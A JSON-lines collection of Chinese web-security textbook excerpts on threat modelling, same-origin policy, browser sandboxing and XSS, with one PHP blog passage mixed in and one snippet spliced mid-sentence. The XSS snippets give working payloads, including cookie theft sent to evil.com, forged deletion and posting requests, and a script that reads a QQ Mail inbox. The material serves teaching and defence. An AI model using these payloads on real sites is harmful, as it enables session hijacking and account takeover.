    {"text": "以《智取华山》为例，如果国民党在威胁建模后发现存在两个主要威胁：第一个威胁是从正面入口强攻，第二个威胁是从后山小路爬悬崖上来。 那么，这两个威胁对应的风险分别计算如下： 走正面的入口： Risk = D(3) + R(3) + E(3) + A(3) + D(3) = 3+3+3+3+3=15 走后山小路： Risk = D(3) + R(1) + E(1) + A(3) + D(1) = 3+1+1+3+1=9 如果我们把风险高低定义如下： 高危： 12 ～ 15 分 中危： 8 ～ 11 分 低危： 0 ～ 7 分 那么，正面入口是最高危的，必然要派重兵把守；"},
    {"text": "在任何时候都应该记住——模型是死的，人是活的，再好的模型也是需要人来使用的，在确定攻击面，以及判断风险高低时，都需要有一定的经验，这也是安全工程师的价值所在。"},
    {"text": "比如，我们要评价一个杯子是否好用，除了它能装水，能装多少水外，还要思考这个杯子内壁的材料是否会溶解在水里，是否会有毒，在高温时会不会熔化，在低温时是否易碎，这些问题都直接影响用户使用杯子的安全性。"},
    {"text": "好的安全产品或模块除了要兼顾用户体验外，还要易于持续改进。 一个好的安全模块，同时也应该是一个优秀的程序，从设计上也需要做到高聚合、低耦合、易于扩展。"},
    {"text": "1.7.1.1 黑名单、白名单 比如，在制定防火墙的网络访问控制策略时，如果网站只提供Web服务，那么正确的做法是只允许网站服务器的80和443端口对外提供服务，屏蔽除此之外的其他端口。"},
    {"text": "但在实际工作过程中，经常会发现有的工程师为了偷懒或图方便，私自改变了SSH的监听端口，比如把SSH的端口从22改到了2222，从而绕过了安全策略。"},
    {"text": "如果选择黑名单的思想，则这套规则里可能是禁用诸如<script>、<iframe>等标签。 但是黑名单可能会有遗漏，比如未来浏览器如果支持新的HTML标签，那么此标签可能就不在黑名单之中了。 如果选择白名单的思想，就能避免这种问题——在规则中，只允许用户输入诸如<a>、<img>等需要用到的标签。"},
    {"text": "在Flash跨域访问请求里，是通过检查目标资源服务器端的crossdomain.xml文件来验证是否允许客户端的Flash跨域发起请求的，它使用的是白名单的思想。 比如下面这个策略文件： <cross-domain-policy> <allow-access-from domain=\"*.taobao.com\"/> <allow-access-from domain=\"*.taobao.net\"/> <allow-access-from domain=\"*.taobaocdn.com\"/> <allow-access-from domain=\"*.tbcdn.cn\"/> <allow-access-from domain=\"*.allyes.com\"/> </cross-domain-policy> 指定了只允许特定域的Flash对本域发起请求。"},
    {"text": "比如： <cross-domain-policy> <allow-access-from domain=\"*\"/> </cross-domain-policy> 通配符“ ”，代表来自任意域的Flash都能访问本域的数据，因此就造成了安全隐患。"},
    {"text": "1.7.1.2 最小权限原则 Secure By Default的另一层含义就是“最小权限原则”。 最小权限原则也是安全设计的基本原则之一。 最小权限原则要求系统只授予主体必要的权限，而不要过度授权，这样能有效地减少系统、网络、应用、数据库出错的机会。"},
    {"text": "1.7.2 纵深防御原则 与Secure by Default一样，Defense inDepth（纵深防御）也是设计安全方案时的重要指导思想。 纵深防御包含两层含义：首先，要在各个不同层面、不同方面实施安全方案，避免出现疏漏，不同安全方案之间需要相互配合，构成一个整体；"},
    {"text": "这种多层过滤的体系，就是一种纵深防御，是有立体层次感的安全方案。 纵深防御并不是同一个安全方案要做两遍或多遍，而是要从不同的层面、不同的角度对系统做出整体的解决方案。"},
    {"text": "我们常常听到“木桶理论”这个词，说的是一个桶能装多少水，不是取决于最长的那块板，而是取决于最短的那块板，也就是短板。 设计安全方案时最怕出现短板，木桶的一块块板子，就是各种具有不同作用的安全方案，这些板子要紧密地结合在一起，才能组成一个不漏水的木桶。"},
    {"text": "在常见的入侵案例中，大多数是利用Web应用的漏洞，攻击者先获得一个低权限的webshell，然后通过低权限的webshell上传更多的文件，并尝试执行更高权限的系统命令，尝试在服务器上提升权限为root；"},
    {"text": "在XSS防御技术的发展过程中，曾经出现过几种不同的解决思路，直到最近几年XSS的防御思路才逐渐成熟和统一。 XSS防御技术的发展过程 在一开始的方案中，主要是过滤一些特殊字符，比如： <<笑傲江湖>> 会变成 笑傲江湖 尖括号被过滤掉了。"},
    {"text": "但是这种粗暴的做法常常会改变用户原本想表达的意思，比如： 1<2 可能会变成 1 2 造成这种“乌龙”的结果就是因为没有“在正确的地方做正确的事情”。"},
    {"text": "对于XSS防御，对系统取得的用户输入进行过滤其实是不太合适的，因为XSS真正产生危害的场景是在用户的浏览器上，或者说服务器端输出的HTML页面，被注入了恶意代码。"},
    {"text": "） 近几年安全厂商为了迎合市场的需要，推出了一种产品叫UTM，全称是“统一威胁管理”（Uni-fied Threat Management）。 UTM几乎集成了所有主流安全产品的功能，比如防火墙、VPN、反垃圾邮件、IDS、反病毒等。 UTM的定位是当中小企业没有精力自己做安全方案时，可以在一定程度上提高安全门槛。 但是UTM并不是万能药，很多问题并不应该在网络层、网关处解决，所以实际使用时效果未必好，它更多的是给用户买个安心。"},
    {"text": "实际上，缓冲区溢出，也可以认为是程序违背了这一原则的后果——程序在栈或者堆中，将用户数据当做代码执行，混淆了代码与数据的边界，从而导致安全问题的发生。"},
    {"text": "以XSS为例，它产生的原因是HTML Injection或JavaScript Injection，如果一个页面的代码如下： <html> <head>test</head> <body> $var </body> </html> 其中$var是用户能够控制的变量，那么对于这段代码来说： <html> <head>test</head> <body> </body> </html> 就是程序的代码执行段。"},
    {"text": "而 $var 就是程序的用户数据片段。 如果把用户数据片段$var当成代码片段来解释、执行，就会引发安全问题。 比如，当$var的值是： <script src=http://evil></script> 时，用户数据就被注入到代码片段中。"},
    {"text": "根据数据与代码分离原则，在这里应该对用户数据片段$var进行安全处理，可以使用过滤、编码等手段，把可能造成代码混淆的用户数据清理掉，具体到这个案例中，就是针对<、>等符号做处理。"},
    {"text": "在这种情况下，数据与代码的情况就发生了变化，根据数据与代码分离原则，我们就应该重写代码片段： <html> <head>test</head> <body> <script> alert(\"$var1\"); </script> </body> </html> 在这种情况下，<script>标签也变成了代码片段的一部分，用户数据只有$var1能够控制，从而杜绝了安全问题的发生。"},
    {"text": "比如，使用DEP来保证堆栈不可执行，使用ASLR让进程的栈基址随机变化，从而使攻击程序无法准确地猜测到内存地址，大大提高了攻击的门槛。"},
    {"text": "我们看看如下场景： 假设一个内容管理系统中的文章序号，是按照数字升序排列的，比如id=1000, id=1002,id=1003…… 这样的顺序，使得攻击者能够很方便地遍历出系统中的所有文章编号：找到一个整数，依次递增即可。"},
    {"text": "如果攻击者想要批量删除这些文章，写个简单的脚本： for (i=0;i<100000;i++){ Delete(url+\"?id=\"+i); } 就可以很方便地达到目的。"},
    {"text": "id=asldfjaefsadlf, id=adsfalkennffxc, id=poer-jfweknfd…… id的值变得完全不可预测了，攻击者再想批量删除文章，只能通过爬虫把所有的页面id全部抓取下来，再一一进行分析，从而提高了攻击的门槛。"},
    {"text": "比如在CSRF的防御技术中，通常会使用一个token来进行有效防御。 这个token能成功防御CSRF，就是因为攻击者在实施CSRF攻击的过程中，是无法提前预知这个token值的，因此要求token足够复杂时，不能被攻击者猜测到。"},
    {"text": "1.8 小结 本章归纳了笔者对于安全世界的认识和思考，从互联网安全的发展史说起，揭示了安全问题的本质，以及应该如何展开安全工作，最后总结了设计安全方案的几种思路和原则。 在后续的章节中，将继续揭示Web安全的方方面面，并深入理解攻击原理和正确的解决之道——我们会面对各种各样的攻击，解决方案为什么要这样设计，为什么这最合适？"},
    {"text": "我们只需抓住安全问题的本质，之后无论遇到任何安全问题（不仅仅局限于Web安全或互联网安全），都会无往而不利，因为我们已经真正地懂得了如何用安全的眼光来看待这个世界！"},
    {"text": "昨天介绍了PHP中is_a()函数功能改变引发的问题，后来发现很多朋友不认同这是一个漏洞，原因是通过良好的代码习惯能够避免该问题，比如写一个安全的__autoload()函数。"},
    {"text": "计算机用0和1定义了整个世界，但在整个世界中，并非所有事情都能简单地用“是” 或者“非”来判断，漏洞也是如此，因为破坏有程度轻重之分，当破坏程度超过某一临界值时，多数人（注意不是所有人）会接受这是一个漏洞的事实。"},
    {"text": "甚至有的用户将loginID当成密码的一部分，会被黑客猜中用户的密码或者是黑客通过攻击一些第三方站点（比如SNS）后，找到同样的loginID来尝试登录。"},
    {"text": "这是一个正常的PHP语言的功能，只是“某一群不明真相的小白程序员”在一个错误的时间、错误的地点写出了错误的代码，使得“某一小撮狡猾的黑客”发现了这些错误的代码，从而导致漏洞。"},
    {"text": "这是操作系统的问题，谁叫操作系统在遍历文件路径时会被0字节截断，谁叫C语言的string操作是以0字节为结束符，谁叫程序员写出这么小白的代码，官方文档里已经提醒过了，关PHP什么事情，太冤枉了！"},
    {"text": "学习过市场营销方面知识的同学应该知道，永远也别指望让最终用户来买单，就像老百姓不应该为政府的错误买单一样（当然在某个神奇的国度除外）。"},
    {"text": "很高兴的是，PHP官方在经历这么多年纠结、折磨、发疯之后，终于勇敢地承担起了这个责任（我相信这是一个很坎坷的心路历程），为这场酿成无数惨案的闹剧画上了一个句号。"},
    {"text": "PHP是当下用户最多的Web开发语言之一，但是因为种种历史遗留原因（我认为是历史原因），导致在安全的“增值”服务上做得远远不够（相对于一些新兴的流行语言来说）。 在PHP流行起来的时候，当时的互联网远远没有现在复杂，也远远没有现在这么多的安全问题，在当时的历史背景下，很多问题都不是“漏洞”，只是功能。"},
    {"text": "我们可以预见到，在未来互联网发展的过程中，也必然会有更多、更古怪的攻击方式出现，也必然会让更多的原本是“功能”的东西，变成漏洞。"},
    {"text": "对于白帽子来说，我们习惯于分解问题，同一个问题，我们可以在不同层面解决，可以通过良好的代码规范去保证（事实上，所有的安全问题都能这么修复，只是需要付出的成本过于巨大），但只有PHP在源头修补了这个问题，才真正是善莫大焉。"},
    {"text": "第二篇 客户端脚本安全 第2章 浏览器安全 近年来随着互联网的发展，人们发现浏览器才是互联网最大的入口，绝大多数用户使用互联网的工具是浏览器。"},
    {"text": "一方面，浏览器天生就是一个客户端，如果具备了安全功能，就可以像安全软件一样对用户上网起到很好的保护作用； 另一方面，浏览器安全也成为浏览器厂商之间竞争的一张底牌，浏览器厂商希望能够针对安全建立起技术门槛，以获得竞争优势。"},
    {"text": "2.1 同源策略 同源策略（Same Origin Policy）是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。 可以说Web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。 对于客户端Web安全的学习与研究来说，深入理解同源策略是非常重要的，也是后续学习的基础。 很多时候浏览器实现的同源策略是隐性、透明的，很多因为同源策略导致的问题并没有明显的出错提示，如果不熟悉同源策略，则可能一直都会想不明白问题的原因。 浏览器的同源策略，限制了来自不同源的“docu-ment”或脚本，对当前“document”读取或设置某些属性。 这一策略极其重要，试想如果没有同源策略，可能a.com的一段JavaScript脚本，在b.com未曾加载此脚本时，也可以随意涂改b.com的页面（在浏览器的显示中）。 为了不让浏览器的页面行为发生混乱，浏览器提出了“Origin”（源）这一概念，来自不同Origin的对象无法互相干扰。"},
    {"text": "对于JavaScript来说，以下情况被认为是同源与不同源的。 浏览器中JavaScript的同源策略（当JavaScript被浏览器认为来自不同源时，请求被拒绝） 由上表可以看出，影响“源”的因素有：host（域名或IP地址，如果是IP地址则看做一个根域名）、子域名、端口、协议。"},
    {"text": "换言之，a.com通过以下代码： <script src=http://b.com/b.js ></script> 加载了b.com上的b.js，但是b.js是运行在a.com页面中的，因此对于当前打开的页面（a.com页面）来说，b.js的Origin就应该是a.com而非b.com。"},
    {"text": "不同于XMLHttpRequest的是，通过src属性加载的资源，浏览器限制了JavaScript的权限，使其不能读、写返回的内容。 对于XMLHttpRequest来说，它可以访问来自同源对象的内容。 比如下例： <html> <head> <script type=\"text/javascript\"> var xmlhttp; function loadXMLDoc(url) { xmlhttp=null; if (window.XMLHttpRequest) {// code for Firefox, Opera, IE7, etc. xmlhttp=new XMLHttpRequest(); } else if (window.ActiveXObject) {// code for IE6, IE5 xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); } if (xmlhttp!=null) { xmlhttp.onreadystatechange=state_Change; xmlhttp.open(\"GET\",url,true); xmlhttp.send(null); } else { alert(\"Your browser does not support XMLHTTP.\"); } } function state_Change() { if (xmlhttp.readyState==4) {// 4 = \"loaded\" if (xmlhttp.status==200) {// 200 = \"OK\" document.getElementById('T1').innerHTML=xmlht tp.responseText; } else { alert(\"Problem retrieving data:\" + xmlhttp.statusText); } } } </script> </head> <body onload=\"loadXMLDoc('/example/xdom/ test_xmlhttp.txt')\"> <div id=\"T1\" style=\"border:1px solid black;height:40;width:300;padding:5\"></ div><br /> <button onclick=\"loadXMLDoc('/example/xdom/ test_xmlhttp2.txt')\">Click</button> </body> </html> 但XMLHttpRequest受到同源策略的约束，不能跨域访问资源，在AJAX应用的开发中尤其需要注意这一点。 如果XMLHttpRequest能够跨域访问资源，则可能会导致一些敏感数据泄露，比如CSRF的to-ken，从而导致发生安全问题。 但是互联网是开放的，随着业务的发展，跨域请求的需求越来越迫切，因此W3C委员会制定了XMLHttpRequest跨域访问标准。 它需要通过目标域返回的HTTP头来授权是否允许跨域访问，因为HTTP头对于JavaScript来说一般是无法控制的，所以认为这个方案可以实施。 注意：这个跨域访问方案的安全基础就是信任“JavaScript无法控制该HTTP头”，如果此信任基础被打破，则此方案也将不再安全。"},
    {"text": "以Flash为例，它主要通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的Flash跨域访问目标资源。 以www.qq.com的策略文件为例，当浏览器在任意其他域的页面里加载了Flash后，如果对www.qq.com发起访问请求，Flash会先检查www.qq.com上此策略文件是否存在。"},
    {"text": "在Flash 9及其之后的版本中，还实现了MIME检查以确认crossdomain.xml是否合法，比如查看服务器返回HTTP头的Content-Type是否 </body> www.b.com/test2.html： <style> @import url(\"http://www.a.com/test.html\"); </style> <script> setTimeout(function(){ var t = document.body.currentStyle.fontFamily; alert(t); },2000); </script> 在www.b.com/test2.html中通过@import 加载了http://www.a.com/test.html为CSS文件，渲染进入当前页面DOM，同时通过docu-ment.body.currentStyle.fontFamily访问此内容。"},
    {"text": "在www.b.com下读取到了www.a.com的页面内容 我们前面提到，比如<script>等标签仅能加载资源，但不能读、写资源的内容，而这个漏洞能够跨域读取页面内容，因此绕过了同源策略，成为一个跨域漏洞。"},
    {"text": "浏览器的同源策略是浏览器安全的基础，在本书后续章节中提到的许多客户端脚本攻击，都需要遵守这一法则，因此理解同源策略对于客户端脚本攻击有着重要意义。"},
    {"text": "2.2 浏览器沙箱 针对客户端的攻击近年来呈现爆发趋势： 2009年全年挂马网站状况趋势图 这种在网页中插入一段恶意代码，利用浏览器漏洞执行任意代码的攻击方式，在黑客圈子里被形象地称为“挂马”。"},
    {"text": "近年来，独立于杀毒软件之外，浏览器厂商根据挂马的特点研究出了一些对抗挂马的技术。 比如在Windows系统中，浏览器密切结合DEP、ASLR、SafeSEH等操作系统提供的保护技术，对抗内存攻击。 与此同时，浏览器还发展出了多进程架构，从安全性上有了很大的提高。"},
    {"text": "比如一个提供hosting服务的共享主机环境，假设支持用户上传PHP、Python、Java等语言的代码，为了防止用户代码破坏系统环境，或者是不同用户之间的代码互相影响，则应该设计一个Sandbox对用户代码进行隔离。 Sandbox需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求，可以采用默认拒绝的策略，对于有需要的请求，则可以通过封装API的方式实现。 而对于浏览器来说，采用Sandbox技术，无疑可以让不受信任的网页代码、JavaScript代码运行在一个受到限制的环境中，从而保护本地桌面系统的安全。"},
    {"text": "Google Chrome实现了一个相对完整的Sand-box： Google Chrome的Sandbox架构 IE 8也采取了多进程架构，每一个Tab页即是一个进程，如下是IE 8的架构： IE 8的架构 多进程架构最明显的一个好处是，相对于单进程浏览器，在发生崩溃时，多进程浏览器只会崩溃当前的Tab页，而单进程浏览器则会崩溃整个浏览器进程。"},
    {"text": "但是浏览器安全是一个整体，在现今的浏览器中，虽然有多进程架构和Sandbox的保护，但是浏览器所加载的一些第三方插件却往往不受Sand-box管辖。"},
    {"text": "也许在不远的未来，在浏览器的安全模型中会更加重视这些第三方插件，不同厂商之间会就安全达成一致的标准，也只有这样，才能将这个互联网的入口打造得更加牢固。"},
    {"text": "2.3 恶意网址拦截 上节提到了“挂马”攻击方式能够破坏浏览器安全，在很多时候，“挂马”攻击在实施时会在一个正常的网页中通过<script>或者<iframe>等标签加载一个恶意网址。 而除了挂马所加载的恶意网址之外，钓鱼网站、诈骗网站对于用户来说也是一种恶意网址。 为了保护用户安全，浏览器厂商纷纷推出了各自的拦截恶意网址功能。 目前各个浏览器的拦截恶意网址的功能都是基于“黑名单”的。 恶意网址拦截的工作原理很简单，一般都是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单，如果用户上网时访问的网址存在于此黑名单中，浏览器就会弹出一个警告页面。 Google Chrome的恶意网址拦截警告 常见的恶意网址分为两类：一类是挂马网站，这些网站通常包含有恶意的脚本如JavaScript或Flash，通过利用浏览器的漏洞（包括一些插件、控件漏洞）执行shellcode，在用户电脑中植入木马；"},
    {"text": "要识别这两种网站，需要建立许多基于页面特征的模型，而这些模型显然是不适合放在客户端的，因为这会让攻击者得以分析、研究并绕过这些规则。"},
    {"text": "现在的浏览器多是与专业的安全厂商展开合作，由安全厂商或机构提供恶意网址黑名单。 一些有实力的浏览器厂商，比如Google和微软，由于本身技术研发实力较强，且又掌握了大量的用户数据，因此自建有安全团队做恶意网址识别工作，用以提供浏览器所使用的黑名单。"},
    {"text": "PhishTank是互联网上免费提供恶意网址黑名单的组织之一，它的黑名单由世界各地的志愿者提供，且更新频繁。 PhishTank的恶意网址列表 类似地，Google也公开了其内部使用的SafeBrowsing API，任何组织或个人都可以在产品中接入，以获取Google的恶意网址库。"},
    {"text": "除了恶意网址黑名单拦截功能外，主流浏览器都开始支持EV SSL证书（Extended ValidationSSL Certificate），以增强对安全网站的识别。 EVSSL证书是全球数字证书颁发机构与浏览器厂商一起打造的增强型证书，其主要特色是浏览器会给予EVSSL证书特殊待遇。"},
    {"text": "如果浏览器不支持EV模式，则会把该证书当做普通证书； 如果浏览器支持（需要较新版本的浏览器）EV模式，则会在地址栏中特别标注。 在IE中：EV证书在IE中的效果 在Firefox中：EV证书在Firefox中的效果 而普通的https证书则没有绿色的醒目提示： 普通证书在IE中的效果 因此网站在使用了EV SSL证书后，可以教育用户识别真实网站在浏览器地址栏中的“绿色”表现，以对抗钓鱼网站。 使用EV证书的网站在IE中的效果 虽然很多用户对浏览器的此项功能并不熟悉，EVSSL证书的效果并非特别好，但随着时间的推移，有望让EVSSL证书的认证功能逐渐深入人心。"},
    {"text": "一直以来，XSS（跨站脚本攻击）都被认为是服务器端应用的漏洞，应该由服务器端应用在代码中修补，而微软率先推出了这一功能，就使得IE 8在安全领域极具特色。 当用户访问的URL中包含了XSS攻击的脚本时，IE就会修改其中的关键字符使得攻击无法成功完成，并对用户弹出提示框。"},
    {"text": "使用CSP的方法如下，插入一个HTTP返回头： X-Content-Security-Policy: policy 其中policy的描述极其灵活，比如： X-Content-Security-Policy: allow 'self' *.mydomain.com 浏览器将信任来自mydomain.com及其子域下的内容。 又如： X-Content-Security-Policy: allow 'self'; img- src *; media-src media1.com; script-src userscripts.example.com 浏览器除了信任自身的来源外，还可以加载任意域的图片、来自media1.com的媒体文件，以及userscripts.example.com的脚本，其他的则一律拒绝。"},
    {"text": "CSP的设计理念无疑是出色的，但是CSP的规则配置较为复杂，在页面较多的情况下，很难一个个配置起来，且后期维护成本也非常巨大，这些原因导致CSP未能得到很好的推广。"},
    {"text": "除了这些新的安全功能外，浏览器的用户体验也越来越好，随之而来的是许多标准定义之外的“友好”功能，但很多程序员并不知道这些新功能，从而可能导致一些安全隐患。"},
    {"text": "同样“友好”的功能还有，Firefox、IE、Chrome都会认识如下的URL： www.google.com?abc 会变为 www.google.com/?abc Firefox比较有意思，还能认识如下的URL： [http://www.cnn.com] [http://]www.cnn.com [http://www].cnn.com …… 这些功能虽然很“友好”，但是如果被黑客所利用，可能会用于绕过一些安全软件或者安全模块，反而不美了。"},
    {"text": "浏览器加载的插件也是浏览器安全需要考虑的一个问题。 近年来浏览器所重点打造的一大特色，就是丰富的扩展与插件。 扩展和插件极大地丰富了浏览器的功能，但安全问题也随之而来，除了插件可能存在漏洞外，插件本身也可能会有恶意行为。 扩展和插件的权限都高于页面JavaScript的权限，比如可以进行一些跨域网络请求等。"},
    {"text": "它有两个文件： \"%ProgramFiles%\\Mozilla Firefox\\plugins \\npbasic.dll\" \"%ProgramFiles%\\Mozilla Firefox\\chrome\\chrome \\content\\browser.js\" 它将监控所有Firefox浏览的网站，如果发现用户在访问网银，就准备开始记录密码，并发送到远程服务器。"},
    {"text": "在当前浏览器高速发展的形势下，恶意网址检测、插件安全等问题都会显得越来越重要。 紧跟浏览器发展的脚步来研究浏览器安全，是安全研究者需要认真对待的事情。"},
    {"text": "3.1 XSS简介 跨站脚本攻击，英文全称是Cross Site Script，本来缩写是CSS，但是为了和层叠样式表（Cas-cading Style Sheet，CSS）有所区别，所以在安全领域叫做“XSS”。 XSS攻击，通常指黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。"},
    {"text": "假设一个页面把用户输入的参数直接输出到页面上： <?php $input = $_GET[\"param\"]; echo \"<div>\".$input.\"</div>\"; ?> 在正常情况下，用户向param提交的数据会展示到页面中，比如提交： http://www.a.com/test.php?param=这是一个测试！"},
    {"text": "会得到如下结果： 正常的用户请求 此时查看页面源代码，可以看到： <div>这是一个测试!</div> 但是如果提交一段HTML代码： http://www.a.com/test.php? param=<script>alert(/xss/)</script> 会发现，alert(/xss/)在当前页面执行了： 包含了XSS攻击的用户请求结果 再查看源代码： <div><script>alert(/xss/)</script></div> 用户输入的Script脚本，已经被写入页面中，而这显然是开发者所不希望看到的。"},
    {"text": "比较常见的一个场景就是，黑客写下一篇包含有恶意JavaScript代码的博客文章，文章发表后，所有访问该博客文章的用户，都会在他们的浏览器中执行这段恶意的JavaScript代码。"},
    {"text": "看如下代码： <script> function test(){ var str = document.getElementById(\"text\").value; document.getElementById(\"t\").innerHTML = \"<a href='\"+str+\"' >testLink</a>\"; } </script> <div id=\"t\" ></div> <input type=\"text\" id=\"text\" value=\"\" /> <input type=\"button\" id=\"s\" value=\"write\" onclick=\"test()\" /> 点击“write”按钮后，会在当前页面插入一个超链接，其地址为文本框的内容： 在这里，“write”按钮的onclick事件调用了test()函数。"},
    {"text": "构造如下数据： ' onclick=alert(/xss/) // 输入后，页面代码就变成了： <a href='' onlick=alert(/xss/)//' >testLink</a> 首先用一个单引号闭合掉href的第一个单引号，然后插入一个onclick事件，最后再用注释符“//”注释掉第二个单引号。"},
    {"text": "点击这个新生成的链接，脚本将被执行： 恶意脚本被执行 实际上，这里还有另外一种利用方式——除了构造一个新事件外，还可以选择闭合掉<a>标签，并插入一个新的HTML标签。"},
    {"text": "尝试如下输入： '><img src=# onerror=alert(/xss2/) /><' 页面代码变成了： <a href=''><img src=# onerror=alert(/xss2/) / ><'' >testLink</a> 脚本被执行： 恶意脚本被执行 3.2 XSS攻击进阶 3.2.1 初探XSS Payload 前文谈到了XSS的几种分类。"},
    {"text": "XSS攻击成功后，攻击者能够对用户当前浏览的页面植入恶意脚本，通过恶意脚本，控制用户的浏览器。 这些用以完成各种具体功能的恶意脚本，被称为“XSS Payload”。 XSS Payload实际上就是JavaScript脚本（还可以是Flash或其他富客户端的脚本），所以任何JavaScript脚本能实现的功能，XSS Payload都能做到。 一个最常见的XSS Payload，就是通过读取浏览器的Cookie对象，从而发起“Cookie劫持”攻击。"},
    {"text": "如下所示，攻击者先加载一个远程脚本： http://www.a.com/test.htm?abc=\"><script src=http://www.evil.com/evil.js ></script> 真正的XSS Payload写在这个远程脚本中，避免直接在URL的参数里写入大量的JavaScript代码。"},
    {"text": "在evil.js中，可以通过如下代码窃取Cookie： var img = document.createElement(\"img\"); img.src = \"http://www.evil.com/ log?\"+escape(document.cookie); document.body.appendChild(img); 这段代码在页面中插入了一张看不见的图片，同时把document.cookie对象作为参数发送到远程服务器。 事实上，http://www.evil.com/log并不一定要存在，因为这个请求会在远程服务器的Web日志中留下记录： 127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] \"GET /log?cookie1%3D1234 HTTP/1.1\" 404 288 这样，就完成了一个最简单的窃取Cookie的XSS Payload。"},
    {"text": "在Firefox中访问用户的百度空间，登录后查看当前的Cookie： 查看当前页面的Cookie值 然后打开IE，访问同一个页面。 此时在IE中，用户是未登录状态： 用户处于未登录状态 将Firefox中登录后的Cookie记录下来，并以之替换当前IE中的Cookie。"},
    {"text": "重新发送这个包： 使用同一Cookie值重新发包 通过返回的页面可以看到，此时已经登录进该账户： 返回登录后的状态页面 验证一下，把返回的HTML代码复制到本地打开后，可以看到右上角显示了账户信息相关的数据： 返回页面是已登录状态 所以，通过XSS攻击，可以完成“Cookie劫持”攻击，直接登录进用户的账户。"},
    {"text": "这是因为在当前的Web中，Cookie一般是用户登录的凭证，浏览器发起的所有请求都会自动带上Cookie。 如果Cookie没有绑定客户端信息，当攻击者窃取了Cookie后，就可以不用密码登录进用户的账户。"},
    {"text": "“Cookie劫持”并非所有的时候都会有效。 有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识； 有的网站则可能会把Cookie与客户端IP绑定（相关内容在“XSS的防御”一节中会具体介绍），从而使得XSS窃取的Cookie失去意义。"},
    {"text": "正常删除该文章的链接是： http://blog.sohu.com/manage/entry.do? m=delete&id=156713012 对于攻击者来说，只需要知道文章的id，就能够通过这个请求删除这篇文章了。"},
    {"text": "攻击者可以通过插入一张图片来发起一个GET请求： var img = document.createElement(\"img\"); img.src = \"http://blog.sohu.com/manage/ entry.do?m=delete&id=156713012\"; document.body.appendChild(img); 攻击者只需要让博客的作者执行这段JavaScript代码（XSS Payload），就会把这篇文章删除。"},
    {"text": "第一种方法是，构造一个form表单，然后自动提交这个表单： var f = document.createElement(\"form\"); f.action = \"\"; f.method = \"post\"; document.body.appendChild(f); var i1 = document.createElement(\"input\"); i1.name = \" ck\"; i1.value = \" JiUY\"; f.appendChild(i1); var i2 = document.createElement(\"input\"); i2.name = \" mb_text\"; i2.value = \"testtesttest\"; f.appendChild(i2); f.submit(); 如果表单的参数很多的话，通过构造DOM节点的方式，代码将会非常冗长。 所以可以直接写HTML代码，这样会使得整个代码精简很多，如下所示： var dd = document.createElement(\"div\"); document.body.appendChild(dd); dd.innerHTML = '<form action=\"\" method=\"post\" id=\"xssform\" name=\"mbform\">'+ '<input type=\"hidden\" value=\"JiUY\" name=\"ck\" />'+ '<input type=\"text\" value=\"testtesttest\" name=\"mb_text\" />'+ '</form>' document.getElementById(\"xssform\").submit(); 自动提交表单成功： 通过表单自动提交发消息成功 第二种方法是，通过XMLHttpRequest发送一个POST请求： var url = \"http://www.douban.com\"; var postStr = \"ck=JiUY&mb_text=test1234\"; var ajax = null; if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); } else if(window.ActiveXObject){ ajax = new ActiveXObject(\"Microsoft.XMLHTTP\"); } else{ return; } ajax.open(\"POST\", url, true); ajax.setRequestHeader(\"Content- Type\",\"application/x-www-form-urlencoded\"); ajax.send(postStr); ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert(\"Done!\"); } } 再次提交成功： 通过XMLHttpRequest发消息成功 通过这个例子可以清楚地看到，使用JavaScript模拟浏览器发包并不是一件困难的事情。"},
    {"text": "抓包发现浏览器发出了如下请求： http://m57.mail.qq.com/cgi-bin/mail_list? sid=6alhx3p5yzh9a2om7U51dDyz&folderid=1&page =0&s=inbox&loc=folderlist,,,1 QQ邮箱的邮件列表 经过分析发现，真正能访问到邮件列表的链接是： http://m57.mail.qq.com/cgi-bin/mail_list? folderid=1&page=0&s=inbox&sid=6alhx3p5yzh9a2 om7U51dDyz 在Firebug中分析QQ邮箱的页面内容 这里有一个无法直接构造出的参数值：sid。"},
    {"text": "所以，XSS Payload的思路是先获取到sid的值，然后构造完整的URL，并使用XMLHttpRe-quest请求此URL，应该就能得到邮件列表了。 XSSPayload如下： if (top.window.location.href.indexOf(\"sid=\")>0){ var sid = top.window.location.href.substr(top.window.lo cation.href.indexOf(\"sid=\") +4,24); } var folder_url = \"http://\"+top.window.location.host+\"/cgi-bin/ mail_list?folderid= 1&page=0&s=inbox&sid=\"+sid; var ajax = null; if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); } else if(window.ActiveXObject){ ajax = new ActiveXObject(\"Microsoft.XMLHTTP\"); } else{ return; } ajax.open(\"GET\", folder_url, true); ajax.send(null); ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert(ajax.responseText); //document.write(ajax.responseText ) } } 执行这段代码后： 获取邮件内容 邮件列表的内容成功被XSS Payload获取到。"},
    {"text": "对于验证码，XSS Payload可以通过读取页面内容，将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码，并将验证码的值返回给当前的XSS Pay-load，从而绕过验证码。"},
    {"text": "实现思路很简单：利用JavaScript在当前页面上“画出”一个伪造的登录框，当用户在登录框中输入用户名与密码后，其密码将被发送至黑客的服务器上。 通过JavaScript伪造的登录框 充分发挥想象力，可以使得XSS攻击的威力更加巨大。"},
    {"text": "3.2.2.3 识别用户浏览器 在很多时候，攻击者为了获取更大的利益，往往需要准确地收集用户的个人信息。 比如，如果知道用户使用的浏览器、操作系统，攻击者就有可能实施一次精准的浏览器内存攻击，最终给用户电脑植入一个木马。"},
    {"text": "最直接的莫过于通过XSS读取浏览器的UserA-gent对象： alert(navigator.userAgent); 浏览器的UserAgent对象 这个对象，告诉我们很多客户端的信息： OS版本：Windows NT 5.1（这是Windows XP的内核版本） 浏览器版本：Firefox 3.6.7 系统语言：zh-CN（简体中文） 但是浏览器的UserAgent是可以伪造的。"},
